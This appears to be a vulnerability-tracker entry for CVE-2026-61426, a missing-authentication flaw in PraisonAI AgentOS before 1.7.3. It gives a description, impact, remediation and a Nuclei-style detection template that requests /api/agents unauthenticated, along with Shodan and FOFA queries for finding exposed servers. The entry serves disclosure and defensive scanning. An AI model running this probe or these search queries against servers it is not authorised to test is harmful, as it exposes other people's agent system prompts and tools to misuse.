CVE-2026-61426: PraisonAI AgentOS < 1.7.3 - Missing Authentication

2026-11-29 PoC Public

Description

The AgentOS server in the PraisonAI TypeScript package (npm praisonai) before 1.7.3 binds to 0.0.0.0 with an empty API key by default, and the API key middleware is only registered when a key is configured. A server started with the documented quickstart exposes GET /api/agents, which discloses agent names, roles and instructions (system prompts), and POST /api/chat, which invokes agents, to any unauthenticated network client.

Details

CVE
CVE-2026-61426 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-61426
info:
  name: PraisonAI AgentOS < 1.7.3 - Missing Authentication
  author: s4e-io
  severity: high
  description: |
    The AgentOS server in the PraisonAI TypeScript package (npm praisonai) before 1.7.3 binds to 0.0.0.0 with an empty API key by default, and the API key middleware is only registered when a key is configured. A server started with the documented quickstart exposes GET /api/agents, which discloses agent names, roles and instructions (system prompts), and POST /api/chat, which invokes agents, to any unauthenticated network client.
  impact: |
    Unauthenticated remote attackers can read agent system prompts and invoke the configured agents, which can lead to disclosure of sensitive prompt content, LLM cost abuse and misuse of the tools available to the agents.
  remediation: |
    Upgrade praisonai to version 1.7.3 or later, configure an API key with the apiKey option or the PRAISONAI_AGENTOS_API_KEY environment variable, and restrict network access to the AgentOS server.
  reference:
    - https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6wjp-v33h-5cvq
    - https://github.com/MervinPraison/PraisonAI/commit/393de394087e3badc79acfec490323bcc99638bd
    - https://nvd.nist.gov/vuln/detail/CVE-2026-61426
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
    cvss-score: 8.6
    cve-id: CVE-2026-61426
    epss-score: 0.01554
    epss-percentile: 0.755
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 2
    vendor: praison
    product: praisonai
    shodan-query: http.html:"PraisonAI App"
    fofa-query: body="PraisonAI App"
  tags: cve,cve2026,praisonai,praison,agentos,ai,unauth,exposure

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(to_lower(header), 'x-powered-by: express')"
          - "contains(content_type, 'application/json')"
          - "contains(body, '\"status\":\"running\",\"agents\":[')"
          - "regex('\"teams\":[0-9]+,\"flows\":[0-9]+}', body)"
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/api/agents"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(to_lower(header), 'x-powered-by: express')"
          - "contains(content_type, 'application/json')"
          - "contains_all(body, '{\"agents\":[{\"name\":', '\"role\":', '\"instructions\":')"
        condition: and
# digest: 4b0a00483046022100aaa8e45ac3bc55f7158696a5cb1a054621ea36d49f873382f629ba44e2db961d022100e97fcba6ec5466bce58aa541c210ad559f646175538947eddde1b2f1ad8f7376:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life